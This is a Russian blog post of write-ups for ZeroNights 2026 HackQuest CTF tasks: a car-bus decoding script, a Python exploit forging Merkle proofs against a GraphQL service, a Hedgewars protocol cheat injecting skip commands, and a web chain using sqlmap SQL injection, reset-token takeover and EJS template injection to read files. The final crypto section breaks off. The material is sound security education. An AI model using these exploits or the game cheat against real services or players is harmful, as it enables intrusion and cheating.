
30 сентября мы провели конференцию по информационной безопасности ZeroNights 2026. Спасибо всем, кто решил поучаствовать! Без вас не было бы ни классных докладов, ни мерча, ни веселой суеты вокруг всего этого. Скоро начнём выкладывать материалы на сайт, там будут доступны презентации и видеозаписи докладов.
А пока хотим поделиться райтапами на задания HackQuest этого года. Это традиционное соревнование в формате CTF, которое мы проводим до начала конференции. Сильнейшие участники получают бесплатные билеты на ZeroNights. Отличный способ встряхнуться перед мероприятием!
Day #1 / Car, Car Japan
Описание
So, some time ago, one of my friends finally acquired a car — not a new one, but a reliable, good Japanese car.
In its premium configuration, it was equipped with an artifact of the past — a whole CD changer! But, unfortunately, it did not work as intended — the car stereo always gave us a really strange error 🙁
Can you look at it and figure out what’s wrong?
This task was prepared by B4CKSP4CE
Райтап от feadal
Дамп логического анализатора (.sr — сессия sigrok) с шины японской магнитолы. На шести аналоговых каналах записаны две дифференциальные шины: CAN 62.5 kbps (там лежит фейковый флаг-обманка, та самая «странная ошибка» на дисплее) и Toyota AVC-LAN — шина CD-чейнджера. Чейнджер отдаёт по одному байту флага на каждую пару (диск, трек); опрашиваются они вперемешку, надо отсортировать.
Разбираем .sr чтобы понять, что на каналах
.sr — это ZIP с сессией sigrok. В metadata: samplerate=500000 Hz, 6 аналоговых каналов, ~2.02 с.
Беглая характеризация уровней и ширин импульсов даёт:
|
Каналы |
Что это |
|---|---|
|
CH2 |
напряжение борт-сети: 12.4 В → 8.9 В (стартер) → 14.2 В (генератор) |
|
CH5 |
ACC-питание, включается на t≈0.817 с |
|
CH1/CH4 |
2.5 В покой, ±1 В доминант, кратность 8 сэмплов, серии обрываются на 5 битах → CAN, bit-stuffing, 62.5 kbps |
|
CH3/CH6 |
старт-бит 168 мкс, период бита 39 мкс, high 20/33 мкс → AVC-LAN |
Фейковый CAN
CAN декодируется в 491 кадр, все CRC-valid, ID 0x0C4, 0x0B4, 0x3B4, 0x5D0. 0x5D0 — 6 чанков с индексом в байте 0, повторяются каждые ~320 мс:
00 |notzn{y| 01 |0U7_p71| 02 |NCe5S_1|03 |s_1N_4n| 04 |07He7_C| 05 |4s71E}|
Склеиваем: notzn{y0U7_p71NCe5S_1s_1N_4n07He7_C4s71E} — то есть это и есть «странная ошибка», которую показывает магнитола, и явное указание искать в другом месте — на шине чейнджера.
AVC-LAN
Кадр AVC-LAN: start | brd(1) | master(12)+p | slave(12)+p | ACK | CTL(4)+p | ACK | DL(8)+p | ACK | DL×[data(8)+p+ACK], то есть ровно 44 + 10·DL бит после старт-бита.
Единственная засада — полярность бита инвертирована относительно того, что обычно пишут в описаниях AVC-LAN: здесь high 33 мкс = 1, 20 мкс = 0. Проверяется мгновенно: только при такой полярности CTL становится 0xF, адреса — 0x190 (голова) и 0x360 (чейнджер), а DL сходится с длиной кадра.
Голова перебирает магазин (00 25 63 90 <disc> — выбрать диск, 00 25 63 94 <track> — трек), запрашивает 00 31 63 ED <disc> <track>, а чейнджер отвечает 00 63 31 FD <disc> <track> 01 00 <byte> — и вот этот последний байт и есть символ флага. Диски опрашиваются в перемешанном порядке, сортировка по (disc, track) собирает строку.
Скрипт для получения флага:
#!/usr/bin/env python3import sys, zipfileimport numpy as npSR = 500_000.0 # from the sigrok `metadata` fileSR_FILE = sys.argv[1] if len(sys.argv) > 1 else 'zn26-day1-car-japan-MK5V6ByS9Ab5.sr'# --- 1. read the two AVC-LAN channels straight out of the sigrok session ----with zipfile.ZipFile(SR_FILE) as z: ch3 = np.frombuffer(z.read('analog-1-3-1'), dtype='<f4') # AVC-LAN bus- ch6 = np.frombuffer(z.read('analog-1-6-1'), dtype='<f4') # AVC-LAN bus+bus = (ch6 - ch3) > 0.6 # differential -> digital# --- 2. AVC-LAN is pulse-width coded: measure every high pulse ---------------chg = np.flatnonzero(np.diff(bus.astype(np.int8))) + 1edges = np.concatenate(([0], chg, [len(bus)]))runs = [(bool(bus[edges[i]]), int(edges[i]), int(edges[i + 1] - edges[i])) for i in range(len(edges) - 1)]highs = [(st, ln) for lvl, st, ln in runs if lvl]# bit period 39us: start bit ~168us, logic 1 = 33us high, logic 0 = 20us highframes, cur = [], Nonefor start, width in highs: us = width / SR * 1e6 if us > 100: # start bit -> new frame if cur: frames.append(cur) cur = [] continue if cur is not None: cur.append(1 if us > 26 else 0)if cur: frames.append(cur)def num(bits): v = 0 for b in bits: v = (v << 1) | b return v# --- 3. parse frames: brd(1) M(12)+p S(12)+p ACK CTL(4)+p ACK DL(8)+p ACK ----# then DL x [ data(8) + parity + ACK ] = 44 + 10*DL bitschars = {}for s in frames: if len(s) < 44 or num(s[28:32]) != 0xF: # CTL is always 0xF continue master, slave, dl = num(s[1:13]), num(s[14:26]), num(s[34:42]) data, p = [], 44 for _ in range(dl): if p + 10 > len(s): break assert (bin(num(s[p:p + 8])).count('1') + s[p + 8]) % 2 == 0, 'parity' data.append(num(s[p:p + 8])) p += 10 # CD changer (0x360) -> head unit (0x190): "track info" reply # 00 63 31 FD <disc> <track> 01 00 <byte> if (master, slave) == (0x360, 0x190) and data[:4] == [0x00, 0x63, 0x31, 0xFD]: chars[(data[4], data[5])] = data[8]# --- 4. the changer stores one flag byte per (disc, track); sort to reassembleflag = ''.join(chr(chars[k]) for k in sorted(chars))print(f'{len(chars)} slots over discs {sorted({d for d, _ in chars})}')print(flag)
Вывод:
$ python3 solve.py zn26-day1-car-japan-MK5V6ByS9Ab5.sr28 slots over discs [1, 2, 3, 4, 5, 6]zn{V5t4v1l_D1sK1_v_d15K0v0D}
Day #2 / ShadowPool
Описание
Hi, anon! Looks like there is some free XMR floating around. ShadowPool operators were careful with their money, but not quite careful enough with proofs.
Find what they missed. The XMR is yours.
zerochan554vzq2suipchlyjqqm4jrstyyqkwabvr4oypwamtmfvrdqd.onion
This task was prepared by @crytech7

Подсказки
23/08/2026 15:05 Seems like ShadowPool operators deployed to mainnet at around 13:37.
1.116 XMR still awaits u 💚
Райтап от mkvfaa
Смотрим где мы
Т.к. таск развёрнут в Tor, я поднял себе прокси на 127.0.0.1:9051 и все запросы дальше ходили через него
На сайте нашлись документация, REST API и GraphQL. Самой полезной оказалась страница /docs. Там без особых загадок была дана схема proof:
leaf_hash = SHA256(secret || serial)commitment = SHA256(leaf_hash || blind)challenge = SHA256(epoch_root || commitment)response = SHA256(challenge || secret || blind)
Дальше verifier должен пройти по witness_path и получить epoch_root.
blind здесь является случайной солью для commitment. Если один и тот же лист использовать несколько раз с разными blind, commitment будет разным, то:
SHA256(leaf_hash || blind_1) != SHA256(leaf_hash || blind_2)
На стойкость SHA-256 задание явно не намекало. Значит, надо смотреть не на хеш, а на то, какие данные сервер считает доверенными.
GraphQL-схема была небольшой. Интересные поля:
getEpochsgetAccount(id)persistedQueriesverifyBetaReserveProof(input)proofJob(id)proofJobs
Вход для verifyBetaReserveProof:
ProofInput { proofJson accountId action}
Выход:
ProofResult {validtokenflag}
Здесь уже было подозрительно, что accountId и action лежат рядом с proof, но не внутри него. В формуле challenge их тоже нет. Это означает, что proof ничего не говорит о том, для какого аккаунта и какой операции он был создан.
На тот момент я это заметил, но решил, что сначала все равно понадобится настоящий лист. Это и было первой ошибкой в направлении поиска.
История с 150 аккаунтами
/api/stats показывал примерно такое:
accounts: 150proofs_verified: 414
Через proofJobs выгружалось около 600 заданий. В них было 147 уникальных accountId.
Разница ровно в три аккаунта выглядела слишком непонятно.
Дальше было много работы, которая в итоге не понадобилась:
* собрал все job; * выделил уникальные account ID; * сравнивал аккаунты по эпохам и действиям; * разбил 147 ID на группы и прогонял запросы; * пытался понять, можно ли восстановить оставшиеся UUID.
В jobs встречались действия:
CHECK_MEMBERSHIPQUERY_STATUSVERIFY_MEMBER
Все они с моим proof давали общий ответ:
credit service error
В итоге никакой специальной тройки искать не требовалось. Для рабочего запроса подошел бы любой опубликованный account ID.
Старые persisted queries
Следующей находкой была история persisted queries. В ней встречались весьма многообещающие названия:
getLeafsubmitProofcreateAccountgetEntitlementclaimEntitlementgetSyntheticCreditsgetClaimStatequeryAccountStatus
Я разобрал около двухсот записей и пытался воспроизвести старые операции. Почти все эти поля уже отсутствовали в текущей схеме.
Некоторое время казалось, что решение должно использовать старый claimEntitlement или же факт, что через старый getLeaf можно достать материал для настоящего доказательства. Ничего из этого не сработало. Актуальная точка входа все время была перед глазами verifyBetaReserveProof.
Beta token
Еще в приложении был публичный beta token 3eb4d6c11d416459f7284215152eb114
По названию GraphQL-поля это выглядело логично: есть verifyBetaReserveProof, есть beta token, значит token надо куда-то передать.
Я попробовал обычные варианты вроде:
Authorization: BearerAuthorization:X-Beta-Token:X-API-Key:Cookie: betaToken=
Потом использовал token как accountId, как часть secret, serial и blind. Поведение не изменилось. Для успешной эксплуатации token не понадобился вообще.
Monero view key
Маршрут /api/pool/info отдавал Monero-адрес и приватный view key. Ключ действительно соответствовал адресу, это удалось проверить локально.
После текста про free XMR такая утечка выглядит почти готовым ответом. Но приватный view key в Monero позволяет видеть входящие транзакции, а не тратить средства. Spend key сервис не отдавал.
Я все равно проверил несколько вариантов: * адрес как account ID; * view key как secret; * адрес и key как serial/blind; * хеши этих значений в proof; * возможную связь баланса пула с credit service.
Флаг к view key отношения не имел.
Отдельно мешал /api/pool/balance. Он успел показать:
wallet rpc unreachable0частично синхронизированный баланс
Из-за этого credit service error сначала воспринимался как проблема инфраструктуры. Нельзя было понять, отвергнут ли action или просто снова не поднялся wallet RPC.
Возвращаемся к proof
После всех этих кругов я снова посмотрел на формат доказательства. У verifier есть три сущности:
-
лист;
-
путь от листа до корня;
-
доверенный корень, с которым надо сравнить результат.
Первые две присылает пользователь. Третью сервер обязан брать у себя. Но epoch_root находился прямо в proofJson. Тогда возник простой тест: что будет, если путь пустой?
Обычный расчет Merkle root выглядит примерно так:
current = leaf_hashfor sibling in witness_path: current = hash_pair(current, sibling) return current
Если witness_path = [], цикл не выполняется и результатом становится сам leaf_hash.
Значит, можно положить:
witness_path = []leaf_index = 0epoch_root = leaf_hash
Получается весь proof собрать из произвольных данных.
Я взял три простых значения:
secret = bytes.fromhex("03" * 32)serial = bytes.fromhex("04" * 32)blind = bytes.fromhex("05" * 32)
Естественно ллмкой написал скрипт:
import hashlibimport jsondef h(data): return hashlib.sha256(data).digest()secret = bytes.fromhex("03" * 32)serial = bytes.fromhex("04" * 32)blind = bytes.fromhex("05" * 32)leaf_hash = h(secret + serial)epoch_root = leaf_hashcommitment = h(leaf_hash + blind)challenge = h(epoch_root + commitment)response = h(challenge + secret + blind)proof = { "leaf_secret": secret.hex(), "leaf_serial": serial.hex(), "blind": blind.hex(), "witness_path": [], "leaf_index": 0, "epoch_root": epoch_root.hex(), "epoch": 40, "commitment": commitment.hex(), "response": response.hex(),}print(json.dumps(proof, separators=(",", ":")))
Получились такие значения:
epoch_root = 505a9c6ac70bdffa46248e2025483f9fe997a0e31ed25559e448b73b7e02b9bdcommitment = c9a20c9797170bbe04ca1923ab19f821751c045c103d8a490c382d22852af9a7response = 11a891c34d9851f7da7648f5069cb65a3d028029a50afc37300e46479e3a9df7
Отправляю это в /api/proof/verify и получаю:
{"valid":true}
Вот здесь задача фактически решена. Я не знаю ни одного настоящего листа, но сервер считает мое доказательство валидным.
Ошибка verifier в псевдокоде:
computed_root = walk(leaf_hash, proof.witness_path, proof.leaf_index)return computed_root == proof.epoch_root
Должно быть:
trusted_root = roots_from_database[proof.epoch]computed_root = walk(leaf_hash, proof.witness_path, proof.leaf_index)return computed_root == trusted_root
Никакой крипты тут нет. Сервер пересчитывает все хеши, но сравнивает результат еще с одним значением атакующего (моим).
Proof валидный, а флага все еще нет
После /api/proof/verify я ожидал, что GraphQL сразу отдаст token или flag. Не отдал 🙁
Сначала попробовал действия из открытых jobs:
CHECK_MEMBERSHIPQUERY_STATUSVERIFY_MEMBER
Ответ:
credit service error
Попробовал варианты от имени GraphQL-операции:
verifyBetaReserveProofVERIFY_BETA_RESERVE_PROOFBETA_RESERVERESERVE_PROOFVERIFY_RESERVEBETA_RESERVE_PROOFCLAIM_RESERVE
И снова одна и та же ошибка.
На этом этапе было непонятно, что именно не работает. Proof отдельно уже проходит. Account ID существует. GraphQL принимает запрос. Остается action или внутренний credit service.
Я собрал небольшой список слов из интерфейса и названий старых запросов. Сработал последний нормальный кандидат:
RESERVE_CREDIT
Это была вторая половина решения. action не был частью challenge, поэтому тот же самодельный proof можно было использовать для привилегированной операции. То же относится к accountId. В proof нет идентификатора аккаунта, значит сервер криптографически не может установить, для кого proof был выпущен.
Флаг
query VerifyBetaReserveProof($input: ProofInput!) { verifyBetaReserveProof(input: $input) { valid token flag }}
Полный вариант на Python (писала естественно нейронка):
import hashlibimport jsonimport requestsURL = ( "http://zerochan554vzq2suipchlyjqqm4jrstyyqkwabvr4oypwamtmfvrdqd.onion/graphql")def h(data): return hashlib.sha256(data).digest()secret = bytes.fromhex("03" * 32)serial = bytes.fromhex("04" * 32)blind = bytes.fromhex("05" * 32)leaf_hash = h(secret + serial)root = leaf_hashcommitment = h(leaf_hash + blind)challenge = h(root + commitment)response = h(challenge + secret + blind)proof = { "leaf_secret": secret.hex(), "leaf_serial": serial.hex(), "blind": blind.hex(), "witness_path": [], "leaf_index": 0, "epoch_root": root.hex(), "epoch": 40, "commitment": commitment.hex(), "response": response.hex(),}query = """query VerifyBetaReserveProof($input: ProofInput!) { verifyBetaReserveProof(input: $input) { valid token flag }}"""variables = { "input": { "proofJson": json.dumps(proof, separators=(",", ":")), "accountId": "24dd71b9-f06b-4fc7-bdea-6955908dfbbc", "action": "RESERVE_CREDIT", }}response = requests.post( URL, json={"query": query, "variables": variables}, proxies={ "http": "socks5h://127.0.0.1:9051", "https": "socks5h://127.0.0.1:9051", }, timeout=30,)print(response.status_code)print(response.text)
Запускаем эксплоент:
valid: truetoken: 38a40112-ac83-4eea-b7e1-6b83fe328d21flag: zn{r3m3m83r_m0n3y_15_ju57_4n0th3r_4774ck_v3c70r}
Дело сделано. Всего-то нужно был пару часов отдыха и два бокала пива, чтобы вернуться с бара и сдать флаг. Даже не надеялся, что я первый. Всем спасибо!
Day #3 / Hedgewars
Описание
As always in SPbCTF tradition, the path to a ZN invite goes through hedgehogs. We are confident in our hedgehog mastery.
Can you defeat us in a first-to-7-wins Hedgewars match?
Let’s play! 🎮 → t.me/spbctf_zn_hedgewars_bot
You’re allowed and welcome to work together with AI agents on this challenge. Use your brain too though: in our tests agents couldn’t defeat us on their own.
This task was prepared by SPbCTF
Подсказки
24/08/2026 20:00 Task was extended till 23:59:59
24/08/2026 15:00 But maybe you can make your own luck, and pull a good weapon out of the crate every time?
Райтап от danosito
Краткое введение в курс дела
В таске выдан телеграм бот. Единственный его функционал — выдать инстанс, вот как выглядит общение с ним:
Из этого мы получаем свой инстанс, набор настроек оргов, и информацию о игре — Hedgewars версии 1.0.0
Скачиваем сурсы и готовую версию, и начинаем изучать. Понимаем, что игра очень напоминает червяков (известная серия worms), но со своим флёром FLOSS (supertuxkart, привет). Заходим и пытаемся поиграть — https://youtu.be/7cv9nfjpGYc — и терпим фиаско.
Бот противника ходит первым и кидает в нас снарядом. У нас есть возможность сделать один ход. После этого бот противника вызывает на нас авиаудар. Бот противника гарантированно нас убивает, если следовать теории игр, даже с идеальной меткостью — лучшее, что мы можем в него кинуть — тот же снаряд, и нанести столько же урона, чтобы он нас авиаударом добил. Раньше использовать авиаудар нельзя: в приложенных правилах комнаты есть задержка на его использование.
И надо искать другие выходы из ситуации. Уже погодя можно понять, что основная идея — контейнеры и PRNG, но я пытался решить до появления первых хинтов.
Основной ресерч
Для начала надо понять архитектуру, ведь она тут занятная. Непонятно, авторы ли принимают очень необычные решения по архитектуре, или проект делался как сугубо одиночный, в который пришлось впиливать мультиплеер. Следите за руками:
-
Движок на паскале, отвечающий за физику и логику игры — по сути ядро проекта
-
qt интерфейс на плюсах, отвечающий за всю не-игровую логику — мультиплеер, чат, меню. Связан по IPC с движком
-
Сервер на хаскеле, который сделан как дополнительный слой для передачи между множеством движков. Интересно, что он не реализует никакой логики/физики, а является по сути файерволом, который решает какие сообщения раскидать всем движкам, подключенным к игре.
Исходя из этой достаточно экзотической архитектуры, можно заметить достаточно уязвимую точку: сервер, который не валидирует ничего кроме базовых проверок пакетов. Натравляем кодекс анализируем код сервера и находим валидацию пакетов.
handleCmd_inRoom ["EM", msg] = do cl <- thisClient rm <- thisRoom chans <- roomOthersChans let (legalMsgs, nonEmptyMsgs, lastFTMsg) = checkNetCmd (teamIndexes cl) msg -- teamIndexes = cl, проверка из EngineInteraction if teamsInGame cl > 0 && (isJust $ gameInfo rm) && (not $ B.null legalMsgs) then -- проверка наличия команды в матче + валидности сообщения return $ AnswerClients chans ["EM", legalMsgs] -- отдает на все движки сообщение, если оно валидно + все символы в вайтлисте : [ModifyRoom (\r -> r{gameInfo = liftM (\g -> g{ roundMsgs = if B.null nonEmptyMsgs then roundMsgs g else nonEmptyMsgs : roundMsgs g , lastFilteredTimedMsg = fromMaybe (lastFilteredTimedMsg g) lastFTMsg}) $ gameInfo r}), RegisterEvent EngineMessage] else return []
checkNetCmd :: [Word8] -> B.ByteString -> (B.ByteString, B.ByteString, Maybe (Maybe B.ByteString))checkNetCmd teamsIndexes msg = check decoded where decoded = liftM splitMessages $ Base64.decode msg check (Left _) = (B.empty, B.empty, Nothing) check (Right msgs) = let (a, b) = (filter isLegal msgs, filter isNonEmpty a) in (encode a, encode b, lft a) -- фильтр по вайтлисту + валидность encode = Base64.encode . B.concat isLegal m = (B.length m > 1) && (flip Set.member legalMessages . B.head . B.tail $ m) && not (isMalformed (B.head m) (B.tail m)) -- легально если 2+ байта, в вайтлисте и валидно lft = foldr l Nothing l m n = let m' = B.head $ B.tail m; tst = flip Set.member in if not $ tst timedMessages m' then n else if '+' /= m' then Just Nothing else Just . Just . Base64.encode $ m isNonEmpty = (/=) '+' . B.head . B.tail legalMessages = Set.fromList $ "M#+LlRrUuDdZzAaSjJ,NpPwtgfhbc12345" ++ slotMessages -- вайтлист сообщений slotMessages = "\128\129\130\131\132\133\134\135\136\137\138" -- выбор слота timedMessages = Set.fromList $ "+LlRrUuDdZzAaSjJ,NpPwtgfc12345" ++ slotMessages isMalformed 'h' m | B.length m >= 3 = let hognum = m `B.index` 1; teamnum = m `BW.index` 2 in hognum < '1' || hognum > '8' || teamnum `L.notElem` teamsIndexes | otherwise = True -- единственная проверка принадлежности действия реальному отправителю - для команды h isMalformed _ _ = False
Замечаем, что из валидации здесь — только команды в матче, legalMsgs и checkNetCmd. Несмотря на передачу отправителя в checkNetCmd, реально он проверяется только для опкода h — остальные опкоды слепо передаются во все движки, которые находятся в игре. Смотрим, какие опкоды вообще существуют, какую пользу могут нам давать, и находим в движке:
',': ParseCommand('skip', true); // интересная нам команда для скипа
procedure chSkip(var s: shortstring); // при поступлении команды в двжиок не проверяется, кто отправил скип - игрок, который сейчас ходит или противник, который ждетbegins:= s; // avoid compiler hintif not isExternalSource then SendIPC(_S','); // это просто отправка команды, если нажал игрок. (чтобы другие поняли что он скипает ход) Флаг выставляется незаивсимо от этого(ниже)uStats.Skipped;skipFlag:= true; // флаг скипа выставляется в любом случаеScriptCall('onSkipTurn');end;
Запятая находится в вайтлисте, следовательно мы можем отправить этот опкод не в свой ход, и движок противника обработает его! Смотрим реакцию на выставление флага:
if skipFlag then begin if TagTurnTimeLeft = 0 then TagTurnTimeLeft:= TurnTimeLeft; // передача хода внутри команды(то есть еж нажал скип, следующий ходит). В нашем случае не актуально - 1v1 TurnTimeLeft:= 0;// после выставления скип флага обнуляется время хода активного игрока в движке skipFlag:= false; inc(CurrentHedgehog^.Team^.stats.TurnSkips); end;
Обнуление времени хода и его автоматическое завершение (не буду цитировать весь игровой цикл, но он работает пока TurnTimeLeft > 0) хода активного игрока в движке. А мы можем отправить, не в свой ход -> завершить ход противника не в свой ход! Кажется, это то, что нам нужно.
Попробовав реализовать простенькое чит меню (кстати, вот как оно выглядит):
К своему великому сожалению при попытке использования бот выводит следующее:
[SPbCTF-Hedgie-02] oops, queue error. in buffer: , (4910 > 4904) — crashes do not score![SPbCTF-Hedgie-02] you can't talk on my behalf, that trick just cost you the round. you must actually defeat me!
Погоняв тесты, понимаем что в 1/10 случаев трюк работает и бот пропускает свой ход — уже прогресс, но есть проблема — такая нестабильность не даст нам 50+% побед, необходимые, чтобы обыграть бота минимум 7 из 14 раз. С обычными командами ходов (выстрел, движение, скип) передается таймстамп команды — вот так выглядит отправка команды, с привязкой к тикам:
SDLNet_Write16(GameTicks, @s[Succ(byte(s[0]))]); inc(s[0], 2);
Для skip итоговый фрейм выглядит концептуально так:
[03][,][tick16]
Получив фрейм, движок кладёт его в FIFO-команд:
loTicks := SDLNet_Read16(...); AddCmd(loTicks, s);
А потом исполняет, только если timestamp совпадает с его GameTicks:
GameTicks = (hiTicks << 16) + headcmd^.loTime
Поэтому обычная отправка умирает, если мы не угадаем тик (а они меняются слишком быстро, чтобы мы могли подобрать стабильный оффсет).
Изучив ещё код очереди и диспатча ходов, находим интересный опкод N, который тоже находится в вайтлисте:
'N': begin tmpflag:= false; lastTurnChecksum:= SDLNet_Read32(@headcmd^.str[2]); AddFileLog('got cmd "N": time '+IntToStr(hiTicks shl 16 + headcmd^.loTime)) end;
Самое интересное — что делает отключение tmpflag
while (headcmd <> nil) and (tmpflag or (headcmd^.cmd = '#')) // '#' is the only cmd which can be sent within same tick after 'N' and ((GameTicks = LongWord(hiTicks shl 16 + headcmd^.loTime)) or (headcmd^.cmd = 's') // for these commands time is not specified or (headcmd^.cmd = 'h') // seems the hedgewars protocol does not allow remote synced commands or (headcmd^.cmd = '#') // must be synced for saves to work or (headcmd^.cmd = 'b') or (headcmd^.cmd = 'F') or (headcmd^.cmd = 'G')) do begin case headcmd^.cmd of '+': ; // do nothing - it is just an empty packet '#': begin AddFileLog('hiTicks increment by remote message'); inc(hiTicks); end; 'L': ParseCommand('+left', true); ... - тут кейсы для парса команд '1'..'5': ParseCommand('timer ' + headcmd^.cmd, true); else if (byte(headcmd^.cmd) >= 128) and (byte(headcmd^.cmd) <= 128 + cMaxSlotIndex) then ParseCommand('slot ' + char(byte(headcmd^.cmd) - 79), true) else OutError('Unexpected protocol command: ' + headcmd^.cmd, True) end; RemoveCmd end;if (headcmd <> nil) and tmpflag and (not CurrentTeam^.hasGone) then checkFails(GameTicks < LongWord(hiTicks shl 16) + headcmd^.loTime, 'oops, queue error. in buffer: ' + headcmd^.cmd + ' (' + IntToStr(GameTicks) + ' > ' + IntToStr(hiTicks shl 16 + headcmd^.loTime) + ')', true);
то есть цикл идет, покуда tmpflag активен, и отправка N его завершает. И самое интересное — структура encoded message (просто кодирование команд в b64) позволяет отправить несколько опкодов и команд за раз. Например, сходить вперед и скипнуть ход. Диспатч будет происходить внутри цикла по очереди — RemoveCmd просто забирает следующую команду из encoded message, и цикл её диспатчит до проверки номера тика на соответствие локальному. Эта проверка есть только после диспатча ВСЕГО encoded message. Здесь уже в голову очевидно приходит пейлоад — отправка внутри одного EM 2 пакетов — ,N . Это дает скип хода противником и завершение его хода: и внутренняя стейт машина будет согласована во всем, кроме номера тика (после скипа он начнет считать, что тиков на ход не осталось, а после N CurrentTeam^.hasGone станет true и синхронизация пойдет уже по правилам противника, без сверки).
Остается реализовать этот чит, что делается очень несложно — в SendIPC (отправке команд через IPC с плюсовским клиентом) в отправку команды с чексуммой (по сути, наш клиент уже собрал N за нас) инжектим оригинал:
procedure SendIPC(s: shortstring);beginif IPCSock <> nil then begin if s[0] > #251 then s[0]:= #251; SDLNet_Write16(GameTicks, @s[Succ(byte(s[0]))]); AddFileLog('[IPC out] '+ sanitizeCharForLog(s[1])); inc(s[0], 2); if isSyncedCommand(s[1]) then // здесь готовую команду отправляют - инжектить можно сюда begin if sendBuffer.count + byte(s[0]) >= cSendBufferSize then flushBuffer(); Move(s, sendBuffer.buf[sendBuffer.count], byte(s[0]) + 1); inc(sendBuffer.count, byte(s[0]) + 1); if (s[1] = 'N') or (s[1] = '#') then flushBuffer(); end else SDLNet_TCP_Send(IPCSock, @s, Succ(byte(s[0]))) endend;
Патч идёт сюда, вот он:
if isSyncedCommand(s[1]) then begin skipBeforeN:= (s[1] = 'N') and (not GameOver) and (GetEnvironmentVariable('ZN_AUTO_SYNC_SKIP_BEFORE_N') <> '0'); // проверяем, что клиент уже собрал N за нас - инжектить будем туда(ну и что инжект включен в настройках) if skipBeforeN then begin injected:= ','; // символ скипа SDLNet_Write16(GameTicks, @injected[2]); // тик - необходим в пакете скипа injected[0]:= #3; // размер пакета скипа if sendBuffer.count + byte(injected[0]) >= cSendBufferSize then flushBuffer(); Move(injected, sendBuffer.buf[sendBuffer.count], byte(injected[0]) + 1); // вставка символа скипа inc(sendBuffer.count, byte(injected[0]) + 1); // и подгон размера итогого пакета ParseCommand(_S'skip', true, true); // для синхронизации локального состояния на клиенте с читом добавляем в историю как будто противник скипнул ход - чтобы не было рассинхрона end; if sendBuffer.count + byte(s[0]) >= cSendBufferSize then flushBuffer();
После настройки, подгонки и дебага запускаем итоговый чит клиент. И о чудо — оно живое! Получается заставить противника скипать ходы всегда и таким образом выигрывать. https://youtu.be/VKopH5QSBDg — вот пример выигранной игры с читом. Промахиваемся снарядом пока противник ничего не может сделать и получаем авиаудар. Им и добиваем врага. Таким образом, набиваем 7 побед и получаем заслуженный флаг.
zn{y0u_g0t_0v3r_7he_h3dge_4nd_land3d_at_z3r0n16h75}
Думаю, внимательный читатель заметил, что в таске всё кричало, что надо не искать 0day в непопулярной игре, а использовать публичность сида и перезаходить в комнату до тех пор, пока в ящике не появится крутой дроп. Но я решил по другому — в моменте стало интересно попробовать, потом уже хотелось довести до рабочего состояния.
P. S. показанный чит сработал даже в онлайне — зашел один раз для валидации, и получил обвинения в том, что я злой читер:) (не читерите, друзья)
Day #4 / Bannerboard
Описание
This is an internal platform for booking banner placements under partnership agreements. It’s still a work in progress, but there’s already enough functionality to get developers fired.
This task was prepared by DSEC by Solar



Райтап от vos
-
Регаемся, в
/api/users/meвидим, что из имени и фамилии складывается username вида “f.lastname”. Там же видно, что если вместоmeподставить юзернейм — покажет инфу по нему. -
В разделе новостей есть Юрий Максимов и Владимир Никитин → айдорим
y.maksimov(y.maksimov@bannermedia.local, role admin) иv.nikitin(v.nikitin@bannermedia.local, role user) -
В ЛК новости дёргают
/api/news?topic=all&limit=10— в лимите SQLi с запрещёнными пробелами (при этом странный — second order sqli где сначала селектается число, и подставляется во второй запрос в LIMIT) -
Пывнануть:
sqlmap -u 'http://80.249.144.251:3000/api/news?topic=all&limit=5*' --tamper=space2comment --cookie 'connect.sid=s%3AANhs9224-pO_VzsyJfyVtX_p2GRlEEVl.UV86Y7h6Thz9zav05%2BSprYmNEhZNDwKGujL7vbsBFIQ'— единственная табличка resetTokens, в которой токенb0a7f3d19c4e8a62для uid 2 -
В auth.js на странице восстановления пароля видно формат урла с токеном, http://80.249.144.251:3000/forgot?magictoken=b0a7f3d19c4e8a62&email=v.nikitin@bannermedia.local — задаём пароль Никитину, теперь в ЛК есть доступ к управлению баннерами
-
На любой ID баннера говорит “unknown banner slot”, но внезапно проканывает
__proto__, видимо проверяется вхождение в объекте/массиве -
В превьюхалке работают темплейты вида
<%= 7*7 %>(а-ля EJS), вызовом include() можно читать файлы -
<%= include("package.json") %>→ видны пути до src/server.js
<%= include("src/server.js") %>→ видно require(“./flag”)
<%= include("src/flag.js") %>→ флажок
Day #5 / Traces
Описание
Hexline is a modern lightweight article publication platform.
I heard that it leaves some strange traces.
This task was prepared by VolgaCTF
Райтап от mixinspace
forensics / crypto / reverse
Hexline is a modern lightweight article publication platform.
I heard that it leaves some strange traces.Исходные данные
Нам даны следующие файлы:
README.mdcompose.ymlimages.tartraffic.pcapng
Архив images.tar содержит образы zn-2026-traces-web:latest и zn-2026-traces-db:latest.
traffic.pcapng — дамп трафика, в нем 16 TCP/TLS-соединений к 172.28.0.20:443. Все соединения зашифрованы и используют TLS_AES_256_GCM_SHA384.
Сразу заметил, что большинство пакетов имеют нестандартную группу, с key_share 44 байта.
В web-образе находятся три полезных артефакта:
/usr/lib/x86_64-linux-gnu/ossl-modules/traces.so/etc/traces/openssl.cnf/usr/local/bin/traces-client
openssl.cnf активирует provider traces, а клиент явно запускает:
curl --tlsv1.3 --tls-max 1.3 --curves traces --http1.1 ...
В nginx.conf также указано:
ssl_protocols TLSv1.3;ssl_ecdh_curve traces:X25519:secp256r1:secp384r1;
Будем анализировать эту библиотеку traces. С небольшой помощью от нейронки извлекли следующие параметры:
p = 0x036481ef080c145eb640f937b052e7bf1d13bbdbbe55tr_g1 = 0x01346da6b3f76a70512ac04fc79f6145310651c454f6tr_g2 = 0x026de1ef8e20e9eba0bd96a4fa22dc328f87f0c82452
А также она пояснила, что собой представляет traces:
traces.so — это XTR над циклотомической подгруппой
GF(p^6)*. По сети передаётся не сам элементh, а его trace в подполеGF(p^2)
Разберемся.
Ликбез
Группа (G) — это множество элементов и операция, для которых выполняется:
-
Результат операции снова находится в множестве
-
Есть нейтральный элемент
-
Для каждого элемента есть обратный
-
Выполняется (a*b)*c = a*(b*c)
Циклическая группа — это такая группа, в которой существует элемент g, степенями которого можно получить все элементы группы. Этот элемент называется генератором.
Например, умножение ненулевых чисел % 7:
G = {1, 2, 3, 4, 5, 6}
Элемент 3 является генератором:
3⁰ mod 7 = 13¹ mod 7 = 33² mod 7 = 23³ mod 7 = 63⁴ mod 7 = 43⁵ mod 7 = 5
Подгруппа — группа, которая является частью большей группы, образованная генератором, который не получает все элементы группы.
Порядок группы — количество элементов в ней.
Порядок генератора g — наименьшее q, для которого g^q = 1. Количество элементов подгруппы, образованной генератором g.
Порядок подгруппы делит порядок группы по теореме Лагранжа.
